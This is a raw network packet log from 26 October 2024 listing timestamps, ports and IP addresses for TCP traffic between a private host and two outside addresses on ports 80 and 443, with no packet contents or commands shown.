Oct 26, 2024 08:54:06.763958931 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.763981104 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.763995886 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.764008045 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.764034033 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.764044046 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.764044046 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.764050007 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.764072895 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.764132977 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.764811039 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.764880896 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.858778000 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.858824015 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.862215042 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.863646984 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.863790035 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.863879919 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.863918066 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:06.863951921 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.864034891 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.864068031 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:06.864075899 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.864180088 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.864211082 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:06.864217997 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.868204117 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:06.868210077 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.883152008 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.883171082 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.883197069 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.883213043 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.883229971 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.883230925 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.883352041 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.883352041 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.883352041 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.883490086 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.883547068 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.883707047 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.883744001 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.883796930 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.883831978 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.883865118 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.883866072 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.884311914 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.884351969 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.884387016 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.884421110 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.884455919 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.884473085 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.884493113 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.884527922 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.885175943 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.885277033 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.885277033 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.025513887 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:07.025537968 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:07.135013103 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:07.143227100 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143265009 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143299103 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143357992 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.143413067 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143448114 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143456936 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.143477917 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143479109 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:07.143512964 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.143527985 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143559933 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.143579006 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143634081 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143660069 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.143667936 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143686056 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:07.143698931 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143701077 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.143733025 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143733978 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:07.143742085 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.143743038 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:07.143768072 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.143770933 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143799067 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.143805981 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143821001 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.143841028 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143847942 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:07.143874884 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143898010 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:07.143904924 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:07.143907070 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.143910885 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143938065 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.143945932 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143986940 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.143989086 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144022942 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144028902 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144057989 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144057989 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144082069 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:07.144088030 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144123077 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144128084 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144145966 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:07.144150019 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144155979 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144186020 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144205093 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144205093 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144223928 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144258022 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144268036 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144290924 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144295931 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144325972 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144330978 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144356012 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144364119 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144390106 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144391060 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144413948 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144424915 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144449949 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144459963 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144493103 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144498110 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144519091 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144530058 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144563913 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144563913 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144599915 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144604921 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144634008 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144665956 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144671917 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.144700050 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.144792080 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.146349907 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:07.146363974 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:07.244048119 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.244091988 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.244127989 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.244163036 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.244215965 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.244225025 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.244225025 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.244225979 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.244251013 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.244285107 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.244319916 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.244323015 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.244323015 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.244323015 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.244354010 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.244354010 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.244384050 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.244402885 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.245152950 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.245187044 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.245223045 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.245230913 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.245230913 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.245259047 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.245265007 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.245318890 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.245687008 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.245734930 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.245739937 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.245774031 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.245790005 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.245807886 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.245815992 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.245842934 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.245884895 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.285895109 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.285928965 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.286077023 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.286077976 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.364464045 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.364522934 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.364576101 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.364609957 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.364620924 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.364645004 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.364679098 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.364716053 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.364716053 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.364716053 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.364731073 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.364768028 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.364797115 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.364813089 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.365206957 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.365257978 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.365293026 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.365318060 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.365325928 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.365335941 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.365361929 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.365407944 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.365825891 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.365876913 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.365909100 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.365926981 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.365930080 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.365962029 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.365997076 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.366014957 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.366014957 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.366070032 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.449101925 CEST	49986	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:07.449202061 CEST	443	49986	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:07.449286938 CEST	49986	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:07.449711084 CEST	49986	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:07.449748039 CEST	443	49986	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:07.449914932 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.449948072 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.450001001 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.450006008 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.450053930 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.450100899 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.484759092 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.484792948 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.484812975 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.484872103 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.484886885 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.484903097 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.484982967 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.484985113 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.484986067 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.484986067 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.484986067 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.484986067 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.485002041 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.485044956 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.485529900 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.485548019 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.485574007 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.485589027 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.485599995 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.485605001 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.485630035 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.485630035 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.485656977 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.486140966 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.486171007 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.486183882 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.486197948 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.486212015 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.486219883 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.486237049 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.486243010 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.486258984 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.487222910 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.570468903 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.570496082 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.570516109 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.570557117 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.570594072 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.605154991 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.605228901 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.605283022 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.605317116 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.605317116 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.605351925 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.605359077 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.605381012 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.605386019 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.605400085 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.605422974 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.605431080 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.605459929 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.605465889 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.605528116 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.605881929 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.605916977 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.605927944 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.605952978 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.605958939 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.605988026 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.605997086 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.606031895 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.606399059 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.606431961 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.606441975 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.606467962 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.606476068 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.606502056 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.606509924 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.606538057 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.606547117 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.606575966 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.606583118 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.606627941 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.645904064 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.645948887 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.645998955 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.690538883 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.690561056 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.690578938 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.690601110 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.690635920 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.725347996 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.725372076 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.725389004 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.725435019 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.725445032 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.725478888 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.725491047 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.725496054 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.725508928 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.725524902 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.725541115 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.725826025 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.725843906 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.725862026 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.725871086 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.725878000 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.725888968 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.725905895 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.725908041 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.725923061 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.725938082 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.726399899 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.726448059 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.726468086 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.726505995 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.726850033 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.726872921 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.726892948 CEST	49984	80	192.168.2.7	185.215.113.16
